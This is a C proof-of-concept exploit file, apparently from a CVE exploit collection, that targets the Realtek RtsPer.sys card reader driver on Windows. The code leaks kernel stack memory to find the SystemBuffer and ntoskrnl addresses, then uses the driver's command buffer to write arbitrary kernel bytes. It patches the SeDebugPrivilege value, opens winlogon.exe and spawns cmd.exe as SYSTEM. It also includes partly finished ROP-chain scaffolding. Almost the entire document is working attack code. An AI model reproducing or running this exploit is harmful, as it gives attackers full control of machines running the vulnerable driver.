4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_driver_realtek.c C
#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <winternl.h>

#include <SetupAPI.h>
#include <ntddscsi.h>
#include <initguid.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>

#include <map>

#pragma comment( lib, "ntdll" )
#define	SystemModuleInformation 0xb

//
// From wdm.h
//
#define PCI_TYPE0_ADDRESSES             6
#define PCI_TYPE1_ADDRESSES             2
#define PCI_TYPE2_ADDRESSES             5

#pragma comment (lib, "Setupapi.lib")
#pragma warning (disable: 4703)

typedef struct _PCI_COMMON_HEADER {
    USHORT  VendorID;                   // (ro)
    USHORT  DeviceID;                   // (ro)
    USHORT  Command;                    // Device control
    USHORT  Status;
    UCHAR   RevisionID;                 // (ro)
    UCHAR   ProgIf;                     // (ro)
    UCHAR   SubClass;                   // (ro)
    UCHAR   BaseClass;                  // (ro)
    UCHAR   CacheLineSize;              // (ro+)
    UCHAR   LatencyTimer;               // (ro+)
    UCHAR   HeaderType;                 // (ro)
    UCHAR   BIST;                       // Built in self test

    union {
        struct _PCI_HEADER_TYPE_0 {
            ULONG   BaseAddresses[PCI_TYPE0_ADDRESSES];
            ULONG   CIS;
            USHORT  SubVendorID;
            USHORT  SubSystemID;
            ULONG   ROMBaseAddress;
            UCHAR   CapabilitiesPtr;
            UCHAR   Reserved1[3];
            ULONG   Reserved2;
            UCHAR   InterruptLine;      //
            UCHAR   InterruptPin;       // (ro)
            UCHAR   MinimumGrant;       // (ro)
            UCHAR   MaximumLatency;     // (ro)
        } type0;



        //
        // PCI to PCI Bridge
        //

        struct _PCI_HEADER_TYPE_1 {
            ULONG   BaseAddresses[PCI_TYPE1_ADDRESSES];
            UCHAR   PrimaryBus;
            UCHAR   SecondaryBus;
            UCHAR   SubordinateBus;
            UCHAR   SecondaryLatency;
            UCHAR   IOBase;
            UCHAR   IOLimit;
            USHORT  SecondaryStatus;
            USHORT  MemoryBase;
            USHORT  MemoryLimit;
            USHORT  PrefetchBase;
            USHORT  PrefetchLimit;
            ULONG   PrefetchBaseUpper32;
            ULONG   PrefetchLimitUpper32;
            USHORT  IOBaseUpper16;
            USHORT  IOLimitUpper16;
            UCHAR   CapabilitiesPtr;
            UCHAR   Reserved1[3];
            ULONG   ROMBaseAddress;
            UCHAR   InterruptLine;
            UCHAR   InterruptPin;
            USHORT  BridgeControl;
        } type1;

        //
        // PCI to CARDBUS Bridge
        //

        struct _PCI_HEADER_TYPE_2 {
            ULONG   SocketRegistersBaseAddress;
            UCHAR   CapabilitiesPtr;
            UCHAR   Reserved;
            USHORT  SecondaryStatus;
            UCHAR   PrimaryBus;
            UCHAR   SecondaryBus;
            UCHAR   SubordinateBus;
            UCHAR   SecondaryLatency;
            struct {
                ULONG   Base;
                ULONG   Limit;
            }       Range[PCI_TYPE2_ADDRESSES - 1];
            UCHAR   InterruptLine;
            UCHAR   InterruptPin;
            USHORT  BridgeControl;
        } type2;



    } u;

} PCI_COMMON_HEADER, * PPCI_COMMON_HEADER;

//SCSI commands used in the PoC
constexpr UCHAR SD_CMD_READ_CAPACITY = 0x25;
constexpr UCHAR SD_CMD_NO_SUCH_CMD = 0x30;

//vendor-specific commands
constexpr UCHAR SD_CMD_VNDR = 0xF0;
//vendor-specific subcommand 0x0A
constexpr UCHAR SD_CMD_VNDR_0A = 0x0A;
//vendor-specific subcommand app command
constexpr UCHAR SD_CMD_VNDR_APP = 0x10;
//app command buffer subcommand
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF = 0xE0;
//command buffer subcommands
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_INIT = 0x41;
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_ADDCMD = 0x42;
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_FETCH = 0x44;

//code 0x2D2328
#define IOCTL_GET_LOG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x8CA, METHOD_BUFFERED, FILE_ANY_ACCESS)
//code 0x2D2190
#define IOCTL_READ_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x864, METHOD_BUFFERED, FILE_ANY_ACCESS)
//code 0x2D2194
#define IOCTL_WRITE_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x865, METHOD_BUFFERED, FILE_ANY_ACCESS)

DEFINE_GUID(DevInterfaceGuid, 0xb6a6b22e, 0xd723, 0x4e95, 0xa5, 0x18, 0x6c, 0xbd, 0xbf, 0xa8, 0xcb, 0x61);

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    ULONG                Reserved3;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// I'm a lazy ass; I don't want to allocate memory manually.
CHAR LogData[0x100000];
ULONGLONG krnlBase = 0;
ULONG krnlSize = 0;
typedef struct
{
    ULONGLONG value;
    int count;
} EntryType;

ULONGLONG FindStuff(HANDLE hDevice)
{
    constexpr SIZE_T ntAddr = 0x110;

    constexpr SIZE_T ScsiBufferLength = 0x300;
    constexpr DWORD  NtAddrNoChangeMinimum = 0x100;
    struct
    {
        SCSI_PASS_THROUGH Spt;
        UCHAR Buffer[ScsiBufferLength];
    } SptBuf;

    //
    // Leak the stack until the value of SystemBuffer remains the same for NtAddrNoChangeMinimum consecutive times.
    //
    DWORD Counter = 0;
    ULONG_PTR PrevBufferAddress = 0;
    DWORD BytesReturned;
    for (;;)
    {

        RtlZeroMemory(&SptBuf, sizeof(SptBuf));
        SptBuf.Spt.Length = sizeof(SptBuf.Spt);
        SptBuf.Spt.Cdb[0] = SD_CMD_VNDR;    //0xF0
        SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A
        SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
        SptBuf.Spt.DataTransferLength = 0x300;
        BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
        if (r == FALSE)
        {
            printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
        }
        else
        {
            PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[ntAddr]);
            printf("%p\n", *p);
            if (PrevBufferAddress == *p)
            {
                Counter++;
            }
            else
            {
                PrevBufferAddress = *p;
                Counter = 0;
            }
        }

        if (Counter >= NtAddrNoChangeMinimum)
        {
            printf("NtAddr at %p didn't change %d times\n", PrevBufferAddress, Counter);
            break;
        }
    }

    return PrevBufferAddress;
}

VOID DumpBuffer(PVOID Buffer, ULONG Length)
{
    PUCHAR buf = (PUCHAR)Buffer;
    for (ULONG i = 0; i < Length; i += 0x10)
    {
        printf("%08lx ", i); // Print the offset

        // Print the hex representation
        for (ULONG j = 0; j < 0x10; ++j)
        {
            if (i + j < Length)
            {
                printf("%02x ", buf[i + j]);
            }
            else
            {
                printf("   "); // Padding for incomplete row
            }
        }

        // Print the ASCII representation
        printf(" ");
        for (ULONG j = 0; j < 0x10; ++j)
        {
            if (i + j < Length)
            {
                unsigned char c = buf[i + j];
                printf("%c", isprint(c) ? c : '.');
            }
        }

        printf("\n");
    }
}

BOOL ReadAddressHex(PULONG_PTR OutAddress)
{
    CHAR StrAddress[17];
    BOOL r = FALSE;

    *OutAddress = 0;
    if (scanf("%16s", StrAddress) != 1)
    {
        printf("Input error\n");
        return r;
    }

    r = TRUE;
    for (int i = 0; i < 16 && StrAddress[i] != '\0'; i++)
    {
        if (isxdigit(StrAddress[i]) == 0)
        {
            r = FALSE;
            break;
        }
    }

    *OutAddress = strtoull(StrAddress, nullptr, 16);

    return r;
}

HANDLE OpenRealtekDeivce()
{
    HANDLE hDevice = INVALID_HANDLE_VALUE;

    HDEVINFO hDevInfo = SetupDiGetClassDevsW(
        &DevInterfaceGuid,
        nullptr,
        nullptr,
        DIGCF_PRESENT | DIGCF_DEVICEINTERFACE
    );

    if (hDevInfo == INVALID_HANDLE_VALUE)
    {
        printf("SetupDiGetClassDevsW failed: %d\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }

    SP_DEVICE_INTERFACE_DATA InterfaceData;
    ZeroMemory(&InterfaceData, sizeof(SP_DEVICE_INTERFACE_DATA));
    InterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
    BOOL r = SetupDiEnumDeviceInterfaces(
        hDevInfo,
        nullptr,
        &DevInterfaceGuid,
        0,
        &InterfaceData
    );
    if (r == FALSE)
    {
        printf("SetupDiEnumDeviceInterfaces failed: %d\n", GetLastError());
        SetupDiDestroyDeviceInfoList(hDevInfo);
    }

    DWORD RequiredSize = 0;
    SetupDiGetDeviceInterfaceDetailW(
        hDevInfo,
        &InterfaceData,
        0,
        0,
        &RequiredSize,
        0
    );

    DWORD err = GetLastError();
    if (err != ERROR_INSUFFICIENT_BUFFER)
    {
        printf("SetupDiGetDeviceInterfaceDetailW unexpected error: %d\n", err);
        SetupDiDestroyDeviceInfoList(hDevInfo);
        return INVALID_HANDLE_VALUE;
    }

    PSP_DEVICE_INTERFACE_DETAIL_DATA pDetailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)HeapAlloc(GetProcessHeap(), 0, RequiredSize);
    if (pDetailData)
    {
        pDetailData->cbSize = sizeof(*pDetailData);
        r = SetupDiGetDeviceInterfaceDetailW(
            hDevInfo,
            &InterfaceData,
            pDetailData,
            RequiredSize,
            &RequiredSize,
            0);
        if (r == FALSE)
        {
            printf("SetupDiGetDeviceInterfaceDetailW failed: %d\n", GetLastError());
        }
        else
        {
            hDevice = CreateFileW(
                pDetailData->DevicePath,
                0x001201bf,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                nullptr,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                nullptr
            );
            if (hDevice == INVALID_HANDLE_VALUE)
            {
                printf("CreateFileW failed: %d\n", GetLastError());
            }
        }
    }

    if (pDetailData != nullptr)
    {
        HeapFree(GetProcessHeap(), 0, pDetailData);
    }
    SetupDiDestroyDeviceInfoList(hDevInfo);

    return hDevice;
}

BOOL LeakKernelStack(HANDLE hDevice, PVOID Buffer, ULONG Length)
{
    //
    // Leaks content from the stack of the request.
    //
    SCSI_PASS_THROUGH_DIRECT Sptd;

    RtlZeroMemory(&Sptd, sizeof(Sptd));
    Sptd.Length = sizeof(Sptd);
    Sptd.Cdb[0] = SD_CMD_VNDR;
    Sptd.Cdb[1] = SD_CMD_VNDR_0A;

    Sptd.DataBuffer = Buffer;
    Sptd.DataTransferLength = Length;
    RtlFillMemory(Buffer, Length, 0xDD);

    DWORD BytesReturned;
    BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError());
    }

    return r;
}

ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start)
{
    ULONGLONG pte_va = address >> 9;
    pte_va = pte_va | pte_start;
    pte_va = pte_va & (pte_start + 0x0000007ffffffff8);

    return pte_va;
}

ULONGLONG get_pml4_address_64(ULONGLONG pte_start)
{
    ULONGLONG pml4_start = pte_start & 0x0000fff000000000;
    pml4_start = pml4_start | (pml4_start >> 9);
    pml4_start = pml4_start | (pml4_start >> 9);
    pml4_start = pml4_start | (pml4_start >> 9);
    pml4_start = pml4_start | 0xffff000000000000;

    return pml4_start;
}

ULONGLONG LeakQWORDAtOffset(HANDLE hDevice, ULONG offset)
{
    //
    // Leaks content from the stack of the request.
    //
    SCSI_PASS_THROUGH_DIRECT Sptd;

    UCHAR Buffer[0x800] = {};

    RtlZeroMemory(&Sptd, sizeof(Sptd));
    Sptd.Length = sizeof(Sptd);
    Sptd.Cdb[0] = SD_CMD_VNDR;
    Sptd.Cdb[1] = SD_CMD_VNDR_0A;

    Sptd.DataBuffer = Buffer;
    Sptd.DataTransferLength = 0x600;
    RtlFillMemory(Buffer, 0x600, 0xDD);

    DWORD BytesReturned;
    BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError());
    }

    ULONGLONG res = *(ULONGLONG*)(Buffer + offset);
    //printf("%p\n", res);
    return res;
}

VOID WriteKernelAddressByte(HANDLE hDevice, ULONG_PTR KernelAddress, UCHAR Value)
{
    //
    // This PoC is a bit trickier than the others. The vulnerability allows writing to an arbitrary kernel address.
    // The write is relative to the SystemBuffer, so we need to know the address of SystemBuffer in advance. 
    // To figure it out, we leak the stack using CVE-2022-25479 in an endless loop, extract the address of SystemBuffer each time, 
    // and compare it to the value extracted at the previous iteration.
    // At some point the memory manager's determinism kicks in by allocating the same address for the SystemBuffer repeatedly. 
    // Once we see that the address of the SystemBuffer hasn't changed, say, 256 times, it's safe to assume it won't change the 257th time.
    //
    // RtsPer.sys copies the output of the SCSI request to the SystemBuffer at the user-provided offset.
    // To write arbitrary data to kernel memory, we need to control the output of the request.
    // The easiest way to achieve this is to use the driver's command buffer controls, which allow writing data to the command buffer and fetching data from it.
    // To write the value to the target address, we first write it to the command buffer
    // and then fetch it back, providing an offset between the target address and the SystemBuffer.
    //

    // The offset of SystemBuffer in the stack dump differs across versions of the driver.
    constexpr SIZE_T SystemBufferStackOffset_RtsPer_10_0_16299_21305 = 0x230;

    constexpr SIZE_T ScsiBufferLength = 0x300;
    constexpr DWORD  SystemBufferNoChangeMinimum = 0x100;
    struct
    {
        SCSI_PASS_THROUGH Spt;
        UCHAR Buffer[ScsiBufferLength];
    } SptBuf;

    //
    // Leak the stack until the value of SystemBuffer remains the same for SystemBufferNoChangeMinimum consecutive times.
    //
    DWORD Counter = 0;
    ULONG_PTR PrevBufferAddress = 0;
    DWORD BytesReturned;
    for (;;)
    {

        RtlZeroMemory(&SptBuf, sizeof(SptBuf));
        SptBuf.Spt.Length = sizeof(SptBuf.Spt);
        SptBuf.Spt.Cdb[0] = SD_CMD_VNDR;    //0xF0
        SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A
        SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
        SptBuf.Spt.DataTransferLength = 0x300;
        BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
        if (r == FALSE)
        {
            printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
        }
        else
        {
            PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[SystemBufferStackOffset_RtsPer_10_0_16299_21305]);
            //printf("%p\n", *p);
            if (PrevBufferAddress == *p)
            {
                Counter++;
            }
            else
            {
                PrevBufferAddress = *p;
                Counter = 0;
            }
        }

        if (Counter >= SystemBufferNoChangeMinimum)
        {
            printf("SystemBuffer at %p didn't change %d times\n", PrevBufferAddress, Counter);
            break;
        }
    }

    //
    // Calculate the offset from the SystemBuffer to the target kernel address.
    //
    ULONG_PTR KernelAddressOffset = KernelAddress - PrevBufferAddress;

    //
    // Initialize the command buffer.
    //
    RtlZeroMemory(&SptBuf, sizeof(SptBuf));
    SptBuf.Spt.Length = sizeof(SptBuf.Spt);
    SptBuf.Spt.Cdb[0] = SD_CMD_VNDR;                 //0xF0
    SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP;             //0x10
    SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF;      //0xE0
    SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_INIT; //0x41

    SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
    SptBuf.Spt.DataTransferLength = 0x4;

    BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
    }
    else
    {
        printf("Command buffer initialized\n");
    }

    //
    // Write the value we want to copy to the target address to the command buffer. 
    // For simplicity, the PoC writes only 1 byte, but it's possible to write more than a byte with a single request.
    //
    RtlZeroMemory(&SptBuf, sizeof(SptBuf));
    SptBuf.Spt.Length = sizeof(SptBuf.Spt);
    SptBuf.Spt.Cdb[0] = SD_CMD_VNDR;                   //0xF0
    SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP;               //0x10
    SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF;        //0xE0
    SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_ADDCMD; //0x42
    SptBuf.Spt.Cdb[8] = Value;


    r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
    }
    else
    {
        printf("Command buffer written\n");
    }

    //
    // Finally, fetch previously written data from the command buffer. 
    // The data will be written to the target kernel address.
    //
    SptBuf.Spt.Cdb[0] = SD_CMD_VNDR;                  //0xF0
    SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP;              //0x10
    SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF;       //0xE0
    SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_FETCH; //0x44

    SptBuf.Spt.DataBufferOffset = KernelAddressOffset;
    SptBuf.Spt.DataTransferLength = 0x1;

    r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
    }
    else
    {
        printf("Command buffer copied to the target address\n");
    }
}

ULONG GetPidByName(const wchar_t* procname) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    ULONG pid;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (wcscmp(entry.szExeFile, procname) == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);
    return pid;
}

DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;

    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        command,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

    if (ret == false) {
        printf("Error creating new process (%d)\n", GetLastError());
        return 3;
    }

    printf("Enjoy your new SYSTEM process\n");
    return 0;
}

int main() {
    HANDLE hDevice = OpenRealtekDeivce();
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        return -1;
    }
    //these 2 needs to be filled in 
    printf("muie\n");
    ULONGLONG rtsbase = LeakQWORDAtOffset(hDevice, 0x40) - 0xa3ad8;
    printf("%p", rtsbase);
    printf("muie2\n");
    LeakQWORDAtOffset(hDevice, 1168);
    printf("muie3\n");

    //UCHAR StackContent[0x170] = {};
    ULONGLONG fakestack_pivot = (ULONGLONG)rtsbase + 0x20bbc2;		// 0x14003baf3: mov esp, 0x3B000020 ; ret ; (1 found)

    ULONGLONG allocation_addr = 0x3A000000;
    PVOID kThread = 0;
    ULONGLONG nt_base = 0;
    LPVOID fakestack = VirtualAlloc((LPVOID)allocation_addr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (fakestack == NULL)
    {
        printf("[!] Error while allocating memory for the input buffer: %d\n", GetLastError());
        exit(1);
    }
    memset(fakestack, 0x90, 0x14000);
    //mov byte \[r..\]. cl


    //0x1400a70db: mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found)
    //0x14000320e: pop r14; ret; (1 found)

    //0x1400ee1d3: pop rcx; ret; (1 found)


    ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x00))[0] = (ULONGLONG)rtsbase + 0x0320e;		//0x14000320e: pop r14; ret; (1 found)
    ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x08))[0] = (ULONGLONG)kThread + 0x232;			// KTHREAD.PreviousMode
    ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x10))[0] = (ULONGLONG)rtsbase + 0xee1d3;					// 0x1400ee1d3: pop rcx; ret; (1 found)
    ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x18))[0] = (ULONGLONG)rtsbase + 0xee1d3;					// 0x1400ee1d3: pop rcx; ret; (1 found)
    ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x20))[0] = (ULONGLONG)rtsbase + 0x0a70db;		// mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found)

    /*
    printf("Leaking 0x80 bytes of kernel stack\n");

    BOOL r = LeakKernelStack(hDevice, StackContent, 0x160);
    if (r == FALSE)
    {
        printf("Failed\n");
    }
    else
    {
        printf("Succes, printing buffer:\n");
        DumpBuffer(StackContent, 0x160);
    }*/

    //LeakQWORDAtOffset(hDevice, 0x3e8);
    /*
    for (ULONG i = 1000; i < 0x600; i += 8)
    {
        ULONGLONG res = LeakQWORDAtOffset(hDevice, i);

        if ((res & 0xfffff80428400000) == 0xfffff80428400000)
        {
            printf("Found 0x%llx at offset %d\n", res, i);
            break;
        }

    }*/
    ULONG len = 0;

    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);

    krnlBase = (ULONGLONG)pModuleInfo->Modules[0].ImageBaseAddress;
    krnlSize = pModuleInfo->Modules[0].ImageSize;


    ULONG index = 0;
    printf("please tell me the index to leak nt\n");
    LeakQWORDAtOffset(hDevice, 0x110 - 72);
    nt_base = FindStuff(hDevice) - 0x3151af;

    printf("%p", nt_base);

    size_t SeDebugPrivilegeOffset = 0xD54A18;

    WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x17);

    ULONG winlogonPid = GetPidByName(L"winlogon.exe");
    printf("Winlogon pid: %d\n", winlogonPid);

    HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogonPid);
    HRESULT apa = GetLastError();
    printf("%p", apa);

    CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");
    WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x14);

    CloseHandle(hDevice);

    return 0;
}